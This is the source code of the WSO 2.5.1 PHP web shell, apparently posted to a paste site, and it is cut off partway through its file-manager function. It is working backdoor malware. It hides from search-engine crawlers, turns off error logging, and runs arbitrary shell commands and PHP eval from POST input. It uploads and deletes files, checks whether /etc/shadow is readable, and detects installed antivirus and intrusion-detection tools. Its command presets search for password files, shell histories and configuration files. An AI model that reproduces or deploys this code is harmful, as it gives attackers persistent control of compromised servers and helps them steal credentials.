· 10 years ago · Mar 29, 2016, 01:30 PM
1<?php
2
3
4
5$color = "#df5";
6
7$default_action = 'FilesMan';
8
9$default_use_ajax = true;
10
11$default_charset = 'Windows-1251';
12
13
14
15if(!empty($_SERVER['HTTP_USER_AGENT'])) {
16
17 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
18
19 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
20
21 header('HTTP/1.0 404 Not Found');
22
23 exit;
24
25 }
26
27}
28
29
30
31@ini_set('error_log',NULL);
32
33@ini_set('log_errors',0);
34
35@ini_set('max_execution_time',0);
36
37@set_time_limit(0);
38
39@set_magic_quotes_runtime(0);
40
41@define('WSO_VERSION', '2.5.1');
42
43
44
45if(get_magic_quotes_gpc()) {
46
47 function WSOstripslashes($array) {
48
49 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
50
51 }
52
53 $_POST = WSOstripslashes($_POST);
54
55 $_COOKIE = WSOstripslashes($_COOKIE);
56
57}
58
59
60
61function wsoLogin() {
62
63 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
64
65}
66
67
68
69function WSOsetcookie($k, $v) {
70
71 $_COOKIE[$k] = $v;
72
73 setcookie($k, $v);
74
75}
76
77
78
79if(!empty($auth_pass)) {
80
81 if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
82
83 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
84
85
86
87 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
88
89 wsoLogin();
90
91}
92
93
94
95if(strtolower(substr(PHP_OS,0,3)) == "win")
96
97 $os = 'win';
98
99else
100
101 $os = 'nix';
102
103
104
105$safe_mode = @ini_get('safe_mode');
106
107if(!$safe_mode)
108
109 error_reporting(0);
110
111
112
113$disable_functions = @ini_get('disable_functions');
114
115$home_cwd = @getcwd();
116
117if(isset($_POST['c']))
118
119 @chdir($_POST['c']);
120
121$cwd = @getcwd();
122
123if($os == 'win') {
124
125 $home_cwd = str_replace("\\", "/", $home_cwd);
126
127 $cwd = str_replace("\\", "/", $cwd);
128
129}
130
131if($cwd[strlen($cwd)-1] != '/')
132
133 $cwd .= '/';
134
135
136
137if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
138
139 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
140
141
142
143if($os == 'win')
144
145 $aliases = array(
146
147 "List Directory" => "dir",
148
149 "Find index.php in current dir" => "dir /s /w /b index.php",
150
151 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
152
153 "Show active connections" => "netstat -an",
154
155 "Show running services" => "net start",
156
157 "User accounts" => "net user",
158
159 "Show computers" => "net view",
160
161 "ARP Table" => "arp -a",
162
163 "IP Configuration" => "ipconfig /all"
164
165 );
166
167else
168
169 $aliases = array(
170
171 "List dir" => "ls -lha",
172
173 "list file attributes on a Linux second extended file system" => "lsattr -va",
174
175 "show opened ports" => "netstat -an | grep -i listen",
176
177 "process status" => "ps aux",
178
179 "Find" => "",
180
181 "find suid" => "find / -type f -perm -04000 -ls",
182
183 "find suid in current dir" => "find . -type f -perm -04000 -ls",
184
185 "find sgid" => "find / -type f -perm -02000 -ls",
186
187 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
188
189 "find config.inc.php" => "find / -type f -name config.inc.php",
190
191 "find config*" => "find / -type f -name \"config*\"",
192
193 "find config* in current dir" => "find . -type f -name \"config*\"",
194
195 "find writable folders and files" => "find / -perm -2 -ls",
196
197 "find writable folders and files in current dir" => "find . -perm -2 -ls",
198
199 "find service.pwd" => "find / -type f -name service.pwd",
200
201 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
202
203 "find .htpasswd" => "find / -type f -name .htpasswd",
204
205 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
206
207 "find .bash_history" => "find / -type f -name .bash_history",
208
209 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
210
211 "find .fetchmailrc" => "find / -type f -name .fetchmailrc",
212
213 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
214
215 "Locate" => "",
216
217 "locate httpd.conf" => "locate httpd.conf",
218
219 "locate vhosts.conf" => "locate vhosts.conf",
220
221 "locate proftpd.conf" => "locate proftpd.conf",
222
223 "locate psybnc.conf" => "locate psybnc.conf",
224
225 "locate my.conf" => "locate my.conf",
226
227 "locate admin.php" =>"locate admin.php",
228
229 "locate cfg.php" => "locate cfg.php",
230
231 "locate conf.php" => "locate conf.php",
232
233 "locate config.dat" => "locate config.dat",
234
235 "locate config.php" => "locate config.php",
236
237 "locate config.inc" => "locate config.inc",
238
239 "locate config.inc.php" => "locate config.inc.php",
240
241 "locate config.default.php" => "locate config.default.php",
242
243 "locate config*" => "locate config",
244
245 "locate .conf"=>"locate '.conf'",
246
247 "locate .pwd" => "locate '.pwd'",
248
249 "locate .sql" => "locate '.sql'",
250
251 "locate .htpasswd" => "locate '.htpasswd'",
252
253 "locate .bash_history" => "locate '.bash_history'",
254
255 "locate .mysql_history" => "locate '.mysql_history'",
256
257 "locate .fetchmailrc" => "locate '.fetchmailrc'",
258
259 "locate backup" => "locate backup",
260
261 "locate dump" => "locate dump",
262
263 "locate priv" => "locate priv"
264
265 );
266
267
268
269function wsoHeader() {
270
271 if(empty($_POST['charset']))
272
273 $_POST['charset'] = $GLOBALS['default_charset'];
274
275 global $color;
276
277 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
278
279<style>
280
281body{background-color:#444;color:#e1e1e1;}
282
283body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
284
285table.info{ color:#fff;background-color:#222; }
286
287span,h1,a{ color: $color !important; }
288
289span{ font-weight: bolder; }
290
291h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
292
293div.content{ padding: 5px;margin-left:5px;background-color:#333; }
294
295a{ text-decoration:none; }
296
297a:hover{ text-decoration:underline; }
298
299.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
300
301.bigarea{ width:100%;height:300px; }
302
303input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
304
305form{ margin:0px; }
306
307#toolsTbl{ text-align:center; }
308
309.toolsInp{ width: 300px }
310
311.main th{text-align:left;background-color:#5e5e5e;}
312
313.main tr:hover{background-color:#5e5e5e}
314
315.l1{background-color:#444}
316
317.l2{background-color:#333}
318
319pre{font-family:Courier,Monospace;}
320
321</style>
322
323<script>
324
325 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
326
327 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
328
329 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
330
331 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
332
333 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
334
335 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
336
337 var d = document;
338
339 function set(a,c,p1,p2,p3,charset) {
340
341 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
342
343 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
344
345 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
346
347 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
348
349 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
350
351 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
352
353 }
354
355 function g(a,c,p1,p2,p3,charset) {
356
357 set(a,c,p1,p2,p3,charset);
358
359 d.mf.submit();
360
361 }
362
363 function a(a,c,p1,p2,p3,charset) {
364
365 set(a,c,p1,p2,p3,charset);
366
367 var params = 'ajax=true';
368
369 for(i=0;i<d.mf.elements.length;i++)
370
371 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
372
373 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
374
375 }
376
377 function sr(url, params) {
378
379 if (window.XMLHttpRequest)
380
381 req = new XMLHttpRequest();
382
383 else if (window.ActiveXObject)
384
385 req = new ActiveXObject('Microsoft.XMLHTTP');
386
387 if (req) {
388
389 req.onreadystatechange = processReqChange;
390
391 req.open('POST', url, true);
392
393 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
394
395 req.send(params);
396
397 }
398
399 }
400
401 function processReqChange() {
402
403 if( (req.readyState == 4) )
404
405 if(req.status == 200) {
406
407 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
408
409 var arr=reg.exec(req.responseText);
410
411 eval(arr[2].substr(0, arr[1]));
412
413 } else alert('Request error!');
414
415 }
416
417</script>
418
419<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
420
421<form method=post name=mf style='display:none;'>
422
423<input type=hidden name=a>
424
425<input type=hidden name=c>
426
427<input type=hidden name=p1>
428
429<input type=hidden name=p2>
430
431<input type=hidden name=p3>
432
433<input type=hidden name=charset>
434
435</form>";
436
437 $freeSpace = @diskfreespace($GLOBALS['cwd']);
438
439 $totalSpace = @disk_total_space($GLOBALS['cwd']);
440
441 $totalSpace = $totalSpace?$totalSpace:1;
442
443 $release = @php_uname('r');
444
445 $kernel = @php_uname('s');
446
447 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
448
449 if(strpos('Linux', $kernel) !== false)
450
451 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
452
453 else
454
455 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
456
457 if(!function_exists('posix_getegid')) {
458
459 $user = @get_current_user();
460
461 $uid = @getmyuid();
462
463 $gid = @getmygid();
464
465 $group = "?";
466
467 } else {
468
469 $uid = @posix_getpwuid(posix_geteuid());
470
471 $gid = @posix_getgrgid(posix_getegid());
472
473 $user = $uid['name'];
474
475 $uid = $uid['uid'];
476
477 $group = $gid['name'];
478
479 $gid = $gid['gid'];
480
481 }
482
483
484
485 $cwd_links = '';
486
487 $path = explode("/", $GLOBALS['cwd']);
488
489 $n=count($path);
490
491 for($i=0; $i<$n-1; $i++) {
492
493 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
494
495 for($j=0; $j<=$i; $j++)
496
497 $cwd_links .= $path[$j].'/';
498
499 $cwd_links .= "\")'>".$path[$i]."/</a>";
500
501 }
502
503
504
505 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
506
507 $opt_charsets = '';
508
509 foreach($charsets as $item)
510
511 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
512
513
514
515 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
516
517 if(!empty($GLOBALS['auth_pass']))
518
519 $m['Logout'] = 'Logout';
520
521 $m['Self remove'] = 'SelfRemove';
522
523 $menu = '';
524
525 foreach($m as $k => $v)
526
527 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
528
529
530
531 $drives = "";
532
533 if($GLOBALS['os'] == 'win') {
534
535 foreach(range('c','z') as $drive)
536
537 if(is_dir($drive.':\\'))
538
539 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
540
541 }
542
543 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
544
545 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
546
547 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
548
549 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
550
551 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
552
553}
554
555
556
557function wsoFooter() {
558
559 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
560
561 echo "
562
563</div>
564
565<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
566
567 <tr>
568
569 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
570
571 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
572
573 </tr><tr>
574
575 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
576
577 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
578
579 </tr><tr>
580
581 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
582
583 <td><form method='post' ENCTYPE='multipart/form-data'>
584
585 <input type=hidden name=a value='FilesMAn'>
586
587 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
588
589 <input type=hidden name=p1 value='uploadFile'>
590
591 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
592
593 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
594
595 </tr></table></div></body></html>";
596
597}
598
599
600
601if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
602
603 function posix_getpwuid($p) {return false;} }
604
605if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
606
607 function posix_getgrgid($p) {return false;} }
608
609
610
611function wsoEx($in) {
612
613 $out = '';
614
615 if (function_exists('exec')) {
616
617 @exec($in,$out);
618
619 $out = @join("\n",$out);
620
621 } elseif (function_exists('passthru')) {
622
623 ob_start();
624
625 @passthru($in);
626
627 $out = ob_get_clean();
628
629 } elseif (function_exists('system')) {
630
631 ob_start();
632
633 @system($in);
634
635 $out = ob_get_clean();
636
637 } elseif (function_exists('shell_exec')) {
638
639 $out = shell_exec($in);
640
641 } elseif (is_resource($f = @popen($in,"r"))) {
642
643 $out = "";
644
645 while(!@feof($f))
646
647 $out .= fread($f,1024);
648
649 pclose($f);
650
651 }
652
653 return $out;
654
655}
656
657
658
659function wsoViewSize($s) {
660
661 if (is_int($s))
662
663 $s = sprintf("%u", $s);
664
665
666
667 if($s >= 1073741824)
668
669 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
670
671 elseif($s >= 1048576)
672
673 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
674
675 elseif($s >= 1024)
676
677 return sprintf('%1.2f', $s / 1024 ) . ' KB';
678
679 else
680
681 return $s . ' B';
682
683}
684
685
686
687function wsoPerms($p) {
688
689 if (($p & 0xC000) == 0xC000)$i = 's';
690
691 elseif (($p & 0xA000) == 0xA000)$i = 'l';
692
693 elseif (($p & 0x8000) == 0x8000)$i = '-';
694
695 elseif (($p & 0x6000) == 0x6000)$i = 'b';
696
697 elseif (($p & 0x4000) == 0x4000)$i = 'd';
698
699 elseif (($p & 0x2000) == 0x2000)$i = 'c';
700
701 elseif (($p & 0x1000) == 0x1000)$i = 'p';
702
703 else $i = 'u';
704
705 $i .= (($p & 0x0100) ? 'r' : '-');
706
707 $i .= (($p & 0x0080) ? 'w' : '-');
708
709 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
710
711 $i .= (($p & 0x0020) ? 'r' : '-');
712
713 $i .= (($p & 0x0010) ? 'w' : '-');
714
715 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
716
717 $i .= (($p & 0x0004) ? 'r' : '-');
718
719 $i .= (($p & 0x0002) ? 'w' : '-');
720
721 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
722
723 return $i;
724
725}
726
727
728
729function wsoPermsColor($f) {
730
731 if (!@is_readable($f))
732
733 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
734
735 elseif (!@is_writable($f))
736
737 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
738
739 else
740
741 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
742
743}
744
745
746
747function wsoScandir($dir) {
748
749 if(function_exists("scandir")) {
750
751 return scandir($dir);
752
753 } else {
754
755 $dh = opendir($dir);
756
757 while (false !== ($filename = readdir($dh)))
758
759 $files[] = $filename;
760
761 return $files;
762
763 }
764
765}
766
767
768
769function wsoWhich($p) {
770
771 $path = wsoEx('which ' . $p);
772
773 if(!empty($path))
774
775 return $path;
776
777 return false;
778
779}
780
781
782
783function actionSecInfo() {
784
785 wsoHeader();
786
787 echo '<h1>Server security information</h1><div class=content>';
788
789 function wsoSecParam($n, $v) {
790
791 $v = trim($v);
792
793 if($v) {
794
795 echo '<span>' . $n . ': </span>';
796
797 if(strpos($v, "\n") === false)
798
799 echo $v . '<br>';
800
801 else
802
803 echo '<pre class=ml1>' . $v . '</pre>';
804
805 }
806
807 }
808
809
810
811 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
812
813 if(function_exists('apache_get_modules'))
814
815 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
816
817 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
818
819 wsoSecParam('Open base dir', @ini_get('open_basedir'));
820
821 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
822
823 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
824
825 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
826
827 $temp=array();
828
829 if(function_exists('mysql_get_client_info'))
830
831 $temp[] = "MySql (".mysql_get_client_info().")";
832
833 if(function_exists('mssql_connect'))
834
835 $temp[] = "MSSQL";
836
837 if(function_exists('pg_connect'))
838
839 $temp[] = "PostgreSQL";
840
841 if(function_exists('oci_connect'))
842
843 $temp[] = "Oracle";
844
845 wsoSecParam('Supported databases', implode(', ', $temp));
846
847 echo '<br>';
848
849
850
851 if($GLOBALS['os'] == 'nix') {
852
853 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
854
855 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
856
857 wsoSecParam('OS version', @file_get_contents('/proc/version'));
858
859 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
860
861 if(!$GLOBALS['safe_mode']) {
862
863 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
864
865 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
866
867 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
868
869 echo '<br>';
870
871 $temp=array();
872
873 foreach ($userful as $item)
874
875 if(wsoWhich($item))
876
877 $temp[] = $item;
878
879 wsoSecParam('Userful', implode(', ',$temp));
880
881 $temp=array();
882
883 foreach ($danger as $item)
884
885 if(wsoWhich($item))
886
887 $temp[] = $item;
888
889 wsoSecParam('Danger', implode(', ',$temp));
890
891 $temp=array();
892
893 foreach ($downloaders as $item)
894
895 if(wsoWhich($item))
896
897 $temp[] = $item;
898
899 wsoSecParam('Downloaders', implode(', ',$temp));
900
901 echo '<br/>';
902
903 wsoSecParam('HDD space', wsoEx('df -h'));
904
905 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
906
907 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
908
909 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
910
911 $temp = "";
912
913 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
914
915 $uid = @posix_getpwuid($_POST['p2']);
916
917 if ($uid)
918
919 $temp .= join(':',$uid)."\n";
920
921 }
922
923 echo '<br/>';
924
925 wsoSecParam('Users', $temp);
926
927 }
928
929 }
930
931 } else {
932
933 wsoSecParam('OS Version',wsoEx('ver'));
934
935 wsoSecParam('Account Settings',wsoEx('net accounts'));
936
937 wsoSecParam('User Accounts',wsoEx('net user'));
938
939 }
940
941 echo '</div>';
942
943 wsoFooter();
944
945}
946
947
948
949function actionPhp() {
950
951 if(isset($_POST['ajax'])) {
952
953 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
954
955 ob_start();
956
957 eval($_POST['p1']);
958
959 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
960
961 echo strlen($temp), "\n", $temp;
962
963 exit;
964
965 }
966
967 if(empty($_POST['ajax']) && !empty($_POST['p1']))
968
969 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
970
971
972
973 wsoHeader();
974
975 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
976
977 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
978
979 ob_start();
980
981 phpinfo();
982
983 $tmp = ob_get_clean();
984
985 $tmp = preg_replace(array (
986
987 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
988
989 '!td, th {(.*)}!msiU',
990
991 '!<img[^>]+>!msiU',
992
993 ), array (
994
995 '',
996
997 '.e, .v, .h, .h th {$1}',
998
999 ''
1000
1001 ), $tmp);
1002
1003 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1004
1005 }
1006
1007 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
1008
1009 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
1010
1011 if(!empty($_POST['p1'])) {
1012
1013 ob_start();
1014
1015 eval($_POST['p1']);
1016
1017 echo htmlspecialchars(ob_get_clean());
1018
1019 }
1020
1021 echo '</pre></div>';
1022
1023 wsoFooter();
1024
1025}
1026
1027
1028
1029function actionFilesMan() {
1030
1031 if (!empty ($_COOKIE['f']))
1032
1033 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
1034
1035
1036
1037 if(!empty($_POST['p1'])) {
1038
1039 switch($_POST['p1']) {
1040
1041 case 'uploadFile':
1042
1043 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1044
1045 echo "Can't upload!";
1046
1047 break;
1048
1049 case 'mkdir':
1050
1051 if(!@mkdir($_POST['p2']))
1052
1053 echo "Can't create!";
1054
1055 break;
1056
1057 case 'delete':
1058
1059 function deleteDir($path) {
1060
1061 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1062
1063 $dh = opendir($path);
1064
1065 while ( ($item = readdir($dh) ) !== false) {
1066
1067 $item = $path.$item;
1068
1069 if ( (basename($item) == "..") || (basename($item) == ".") )
1070
1071 continue;
1072
1073 $type = filetype($item);
1074
1075 if ($type == "dir")
1076
1077 deleteDir($item);
1078
1079 else
1080
1081 @unlink($item);
1082
1083 }
1084
1085 closedir($dh);
1086
1087 @rmdir($path);
1088
1089 }
1090
1091 if(is_array(@$_POST['f']))
1092
1093 foreach($_POST['f'] as $f) {
1094
1095 if($f == '..')
1096
1097 continue;
1098
1099 $f = urldecode($f);
1100
1101 if(is_dir($f))
1102
1103 deleteDir($f);
1104
1105 else
1106
1107 @unlink($f);
1108
1109 }
1110
1111 break;
1112
1113 case 'paste':
1114
1115 if($_COOKIE['act'] == 'copy') {
1116
1117 function copy_paste($c,$s,$d){
1118
1119 if(is_dir($c.$s)){
1120
1121 mkdir($d.$s);
1122
1123 $h = @opendir($c.$s);
1124
1125 while (($f = @readdir($h)) !== false)
1126
1127 if (($f != ".") and ($f != ".."))
1128
1129 copy_paste($c.$s.'/',$f, $d.$s.'/');
1130
1131 } elseif(is_file($c.$s))
1132
1133 @copy($c.$s, $d.$s);
1134
1135 }
1136
1137 foreach($_COOKIE['f'] as $f)
1138
1139 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
1140
1141 } elseif($_COOKIE['act'] == 'move') {
1142
1143 function move_paste($c,$s,$d){
1144
1145 if(is_dir($c.$s)){
1146
1147 mkdir($d.$s);
1148
1149 $h = @opendir($c.$s);
1150
1151 while (($f = @readdir($h)) !== false)
1152
1153 if (($f != ".") and ($f != ".."))
1154
1155 copy_paste($c.$s.'/',$f, $d.$s.'/');
1156
1157 } elseif(@is_file($c.$s))
1158
1159 @copy($c.$s, $d.$s);
1160
1161 }
1162
1163 foreach($_COOKIE['f'] as $f)
1164
1165 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
1166
1167 } elseif($_COOKIE['act'] == 'zip') {
1168
1169 if(class_exists('ZipArchive')) {
1170
1171 $zip = new ZipArchive();
1172
1173 if ($zip->open($_POST['p2'], 1)) {
1174
1175 chdir($_COOKIE['c']);
1176
1177 foreach($_COOKIE['f'] as $f) {
1178
1179 if($f == '..')
1180
1181 continue;
1182
1183 if(@is_file($_COOKIE['c'].$f))
1184
1185 $zip->addFile($_COOKIE['c'].$f, $f);
1186
1187 elseif(@is_dir($_COOKIE['c'].$f)) {
1188
1189 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
1190
1191 foreach ($iterator as $key=>$value) {
1192
1193 $zip->addFile(realpath($key), $key);
1194
1195 }
1196
1197 }
1198
1199 }
1200
1201 chdir($GLOBALS['cwd']);
1202
1203 $zip->close();
1204
1205 }
1206
1207 }
1208
1209 } elseif($_COOKIE['act'] == 'unzip') {
1210
1211 if(class_exists('ZipArchive')) {
1212
1213 $zip = new ZipArchive();
1214
1215 foreach($_COOKIE['f'] as $f) {
1216
1217 if($zip->open($_COOKIE['c'].$f)) {
1218
1219 $zip->extractTo($GLOBALS['cwd']);
1220
1221 $zip->close();
1222
1223 }
1224
1225 }
1226
1227 }
1228
1229 } elseif($_COOKIE['act'] == 'tar') {
1230
1231 chdir($_COOKIE['c']);
1232
1233 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
1234
1235 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
1236
1237 chdir($GLOBALS['cwd']);
1238
1239 }
1240
1241 unset($_COOKIE['f']);
1242
1243 setcookie('f', '', time() - 3600);
1244
1245 break;
1246
1247 default:
1248
